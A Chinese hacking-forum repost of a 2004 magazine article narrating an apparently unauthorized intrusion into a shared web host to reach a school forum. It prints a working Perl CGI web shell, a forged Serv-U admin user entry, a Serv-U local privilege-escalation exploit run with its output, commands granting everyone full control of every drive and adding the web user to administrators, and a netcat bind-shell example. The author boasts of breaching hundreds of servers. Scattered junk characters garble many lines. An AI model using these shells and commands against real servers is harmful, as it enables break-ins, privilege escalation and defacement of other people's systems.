中国网络渗透测试联盟

标题: 剑走偏锋——灵巧的旁注攻击 [打印本页]

作者: admin    时间: 2012-9-15 14:11
标题: 剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击
* X+ G5 C3 S  m$ C/ k5 K本文作者:angel. P- D+ R1 H, t3 l+ M
文章性质:原创
- L7 r- k) s9 q4 Q- T* b8 U发布日期:2004-11-09
. o! B$ Q7 a0 b( e8 t# y1 v# A注意:
6 i8 A. w0 c) o: Q/ a3 g本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
1 ^6 ]- L  f, O( Y本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
' @" w1 h+ K; `; M; M9 X" {! s% e1 ?( l! R/ h5 W
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
  m- f$ p, ^* O! U. W, Z9 L- D" |
- l. Q' o; M! M2 C9 V9 N  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 7 w3 w) q! P. z. P3 C. J7 l1 v( N. x
# v8 ~' b7 G+ M. ^. a
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 0 q/ t! Z$ b8 r+ o- G
: b( `" K# Z( o/ Y4 `
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
$ r' @& A: k0 S3 `- D7 a5 i; W: w& \2 T4 n1 n# N
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 - |5 E/ e5 p8 O* `# r9 R3 t

1 `5 @: m5 e$ u+ }' Q0 O  没有目的的跳转目录着……
8 k' c' L% N7 Q" S, P' r1 R7 ^9 \% t/ X' Z6 o; k- f
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
  j/ j$ O  [1 r8 S7 g7 M% I
2 ~* ~4 w3 b( I) n& ~+ G' ~3 |  结束了吗?不,我试着 FTP 一下: 7 G& E8 w8 h/ {" s( o* J; \& U
& I8 S" w0 x: D1 U! @
Microsoft Windows 2000 [Version 5.00.2195]- z! m' C. U; C+ X" \
(C) 版权所有 1985-2000 Microsoft Corp.
% J5 ~: p) Q  w( K5 t. |3 }  P7 a: G4 G
C:\Documents and Settings\Administrator>ftp www.school.com
, g$ \: u1 N' }# G4 t( gConnected to www. school.com.
3 b/ g. f' l5 B8 A- r3 o/ v  I220 Welcome to FTP Server... 0 q0 R  t; \: d4 [9 k# _
User (www.bjtrq.com:(none)):
3 a% ~8 T3 S# @0 ?, o- i/ y4 D( }6 S331 User name okay, need password.
9 n( D5 s) M0 p8 r- D6 F& TPassword:
7 s$ H3 z; Y) ?# t9 `0 {6 Q530 Not logged in.
4 Y) ?" f# y5 B6 hLogin failed.
/ L: J4 h* A' ^! m( }3 Lftp> bye 2 T' q/ C1 U0 E5 D* V. ?
221 Goodbye!
( _8 h8 V+ x) C1 p2 B
7 m1 ^8 R8 }1 ~3 L& d/ w" D' a+ s  w; l: p0 }4 _
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
: v; U2 o$ r4 `4 W# k" `" Q$ k3 i9 s! Z
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
4 s% r" V( _. v. n+ ^4 {2 ]* r/ M7 B" c$ A. O  K: K5 e% L
Application Data1 L# i( d4 d! t9 u' V
Documents
' l- K/ v/ J$ d" L# m0 LDRM
+ `- @/ [; I' b2 XFavorites
; l1 M* j" S) B7 j" I" `Templates
$ |" K' B) a* v6 g+ T, d+ T「开始」菜单) ], ?' A+ d+ k* Q
桌面
9 E9 J/ m: I9 O4 D % }; c; ~  R& `' V" z( R  Z

4 L8 v: V3 R* ]  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
! x' v  `- d4 n  E2 H1 g. E
3 ]1 j5 t' V$ P0 BActiveState ActivePerl 5.8
' X- n/ d% g4 {0 j0 l; L) fAdministrative Tools
8 k/ R% ?2 P$ N! f! Q( DDeerfield.com7 r& {2 ~: B8 ~
DTemp4 i2 @/ v: e- h: u+ D' E
IPSentry6 v1 X3 N/ Q9 @# X1 p: i. f
MBM 5
! K3 F! j: m5 ^; ]2 r4 H) ]NetMeter+ L7 w1 U) M. s+ L
Network ICE
& \0 E6 J- c  L. f4 `0 G$ i/ t8 [Persits Software AspEmail
1 T0 }' Q+ p- h3 u1 o5 bPersits Software AspJpeg) S5 ~# V% N  s% g* Z: p; w  z. T
Serv-U FTP Server+ e+ Y: O2 `0 C0 L# ]4 H7 Z2 n
Symantec Client Security7 j+ t8 E6 a" x: z4 I/ L
Windows 优化大师( y' j9 k9 P& u
WinRAR  z9 F) J5 e( U* S7 b, d
启动1 V0 y  G0 u- W$ U  }: z
管理工具  E1 _2 E8 L4 |$ Q
附件( |6 Z# y" E3 p) }8 K7 e! @

- `+ p" R) U: J5 |1 r5 M# g# b; w5 s; \, r4 @5 F
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
3 O  i$ k+ i! [5 a! n4 t/ ?
- V, q+ t1 q  _' q3 j* v9 ~2 S1 o  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: : o  d# w: G4 l0 }

0 _1 t; f( ?. t! y  u$ K' tUser281=angel|1|0 + g! p0 H8 C$ r8 S! K

9 g9 i% W/ c) S' }5 L
; m7 D$ ]# c7 G  然后加上 ' I4 N$ V- X) u0 t, b+ l2 q
& P( x  {+ F# L( \2 @- B
[USER=angel|1]
5 e  f: k  y) _, m; F) cPassword=ng98F85379EA68DBF97BAADCA99B69B805
( A' K: n4 [  @: }  {- k# N0 iHomeDir=D:\websites
8 e, _7 E5 y" F. r+ o- h% ERelPaths=1
( b. o' S# Y. t+ l3 v5 ~  E1 wTimeOut=600
& Y2 B8 t- V, R7 b6 ]; i$ ^Maintenance=System6 q7 C9 e2 x' e7 h/ T
Access1=D:\websites|RWAMELCDP
5 D/ z! r3 u- ?4 p7 g2 w3 T8 OSKEYValues=) J4 {. V! G" O- T; Z

! Y4 S! Z4 i! u6 n- J' `8 s8 H4 T0 H8 Y# X1 F, ^5 f
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… ' J7 n8 k3 k% }& {1 f
, O- g( J! s% E+ l/ W6 p& n
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
* |6 u( m. v8 }  F( m3 `  G: @+ \
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 + ^# a7 g3 }: t

+ h( U$ J) ^: ?0 R4 u1 j  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: % a/ D9 {$ i6 ^

7 I' @. P; N5 r+ {#!/usr/bin/perl/ T  ?7 F6 x/ V+ @
binmode(STDOUT);5 a) C, C9 j' V/ s! ]' p) A
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);0 g' j+ m2 K7 m2 @
$_ = $ENV{QUERY_STRING};! B5 ?4 V, m/ ~; j8 B( Q  @
s/%20/ /ig;+ `8 L0 L& {# o
s/%2f/\//ig;
! x2 G" {1 X% E$execthis = $_;- i- h& W5 g3 C8 u- F0 \6 }0 H
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
# d- E) b# T1 S+ ~open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";( O6 R; V! L- x* N/ K, ?$ i
system($execthis);) N5 N! A5 g9 P- V7 e3 S2 U
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
# M: [% y$ }7 T- |( }" G' ?close(STDERR);
% E$ v* z3 @4 R5 ^close(STDOUT);
8 z# g- L  j6 g$ N8 Q# a% P4 jexit;
2 P$ C  Z2 c$ S5 q- e1 N6 y$ A9 X4 {
* i/ ^9 j' ?6 r4 d3 O7 ~% K/ D/ F9 k! p% ]  g: T' c
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
' @! y$ D: W" Q9 F  u  e- e- y( \$ A# u
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
1 o# K& p% U7 G7 i0 Z3 v  `5 C8 m; A6 T) @$ S! {
http://anyhost//cmd.pl?d:\user\bin\su.exe 0 x8 ~6 [% @+ `. G" y( w0 Y$ P
$ ~5 Z3 h( B$ u2 q! k, I; r- N

/ w: P& W( {( ~# h  返回: 1 I; J. B$ J. Q9 S2 d. Z

- \+ L4 X, _) y7 F4 {" u( n, LServ-u >3.x Local Exploit by xiaolu
7 v- A4 u. J* L- C  @6 B! m; u: o% [$ m3 N+ _9 j' F0 s
USAGE: serv-u.exe "command" 5 r! p3 U3 ^1 ]- j  D" \) b
/ @, B9 z% J- n8 H" F8 m5 D
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ; @# i1 H+ {) c* t: g- D+ d
% B- X% l. _+ b; O7 T% ^6 c

9 u) B. {& u0 K  ^  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:   C- Q$ J/ F5 M- \: U4 `2 N

+ E$ K1 Y9 o: c/ H+ r" Khttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 6 `. a& R& b! [# w5 U8 [8 P
, K5 C& t) Q+ e+ @2 s# g, q
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" + D  X/ \+ ~- b3 F+ r
; `" z* l( ?1 ], ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" # e/ A: T# x; \# U5 d
5 f- t1 a. o% V- y/ T$ |, U8 n
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" / Q" R# z3 k; _: p4 [

) |% g. K/ ]9 l% y) ^+ J8 {1 `  J' h8 z; [0 N4 r1 T  T7 R# M
  返回下面的信息,就表示成功了!!! 2 F4 L' w9 }# P8 s

( x- w3 K, ~/ R+ i4 t: UServ-u >3.x Local Exploit by xiaolu ) f1 u, n1 g$ h, h4 n) U

1 y$ Q: [7 K2 N$ }0 c5 U4 U<220 Serv-U FTP Server v5.2 for WinSock ready...
# |1 M" x, ~! d: D$ B$ M
- Q( h7 L2 x- O( T% J>USER LocalAdministrator
0 u* \4 ]( V" r* g  l3 U
/ X; s2 _! ~2 o<331 User name okay, need password. ! K: L& W* ~1 Y6 V  E2 K
; x0 S/ I; u5 F4 Z
****************************************************** 6 c; M) |+ R0 I# j" o0 [

$ W6 m7 j0 U8 L  J2 X& H>PASS #l@$ak#.lk;0@P
: }9 ^. S2 a7 Y1 J: V: i7 v
6 w& s% e" ?& g) ?$ P  _<230 User logged in, proceed. / C) P% M) a3 \* A3 |

. D, l; P7 E# m7 O2 z****************************************************** $ I( u6 w( I2 M+ M' L9 m
* q0 ~  A5 P! v* y
>SITE MAINTENANCE / R8 R; w, |5 \! R

( ^) h& Z! E  V$ O1 ^$ M******************************************************
2 W& T) J0 a* }$ a# L4 \. B/ @" J& H5 T. A! c
[+] Creating New Domain...
% g8 z% c) q! k
& A$ P) l0 g4 ^2 s; S4 s<200-DomainID=2 - Q1 K# s0 F) I8 x

: a9 |7 E' i6 f<220 Domain settings saved 2 y# p! P" J2 C
+ h0 q4 Z) o, r+ t
******************************************************
) J% x9 I, Q% o6 c  ?2 ~" v$ T) d& |# r. _) ~0 E1 h+ ?' P
[+] Domain xl:2 Created
- i( H+ w! ~$ w* C" l$ z$ ]
; ^2 B2 B+ }+ f; c. Y[+] Creating Evil User
( x! D' b  f" O, U- e: k/ U6 \. i2 e( F) j* Q* _
<200-User=xl + `. M, ~7 O5 `0 W; J1 D' z2 U* i
8 t0 A8 E4 i; F: E( t3 L
200 User settings saved
3 z: b; u: o5 y7 D5 n" U; D* c; o) X4 k' Q% \
****************************************************** ' a7 _# F' w! I+ d$ ?' @
! d* T% l* r9 Z( W4 F$ V1 H! J
[+] Now Exploiting... . d6 G+ K9 \' ^

) ^# o% N; j  y# K>USER xl 5 F) f4 r* K. L/ z% A
9 o( R' }& z9 W4 {5 T$ B! w9 {: x
<331 User name okay, need password.
; V  Q5 c) o$ W6 S$ w' v. p% y+ r+ F; E/ d
****************************************************** 0 R! c9 @* P) _) G: k- R
6 e5 s; }! ^  v* a3 w5 y
>PASS 111111 / r1 s* d& n! S+ z6 z. L! V

4 f4 ~9 w  b# L5 Z$ V# K<230 User logged in, proceed.
$ J7 Q  O1 S" ]
7 K# q" B$ K$ P# e******************************************************
  e; z/ P& M6 P$ t( H' G
/ U6 ]/ A* h( g4 }[+] Now Executing: cacls.exe c: /E /T /G everyone:F
  O  D+ C, s3 q# |/ e5 G
0 A! d0 U4 K" K$ l! @) l6 l<220 Domain deleted & X. h9 ~8 c' M$ u! y

. c% s/ m5 c/ v3 k9 D# M****************************************************** . L4 f5 F  T1 h; m0 P3 ^

4 {. J, Q/ r! R2 a& ^- {4 `8 t
# J# O2 Y! _$ `: V$ D$ }& I  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
' O  W3 w  h0 O/ q
" ~$ g" @6 `  k- w, n/ z# g$ ^% Khttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
$ T, [0 u" H/ Y8 L ! p$ O( V0 _& z  }3 z* z: d
6 @" B5 G7 L& {+ b3 y3 {
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 " S1 @, e/ F2 j% M( R' u4 ^9 q
( ?& a0 P3 N& W/ R7 T$ L" B7 ~
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。+ p& I" Z8 G. l& r; ?0 s

2 X2 X8 v/ [. U2 I8 K: U6 A  5 p( z4 S2 i0 @" q7 O3 P





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2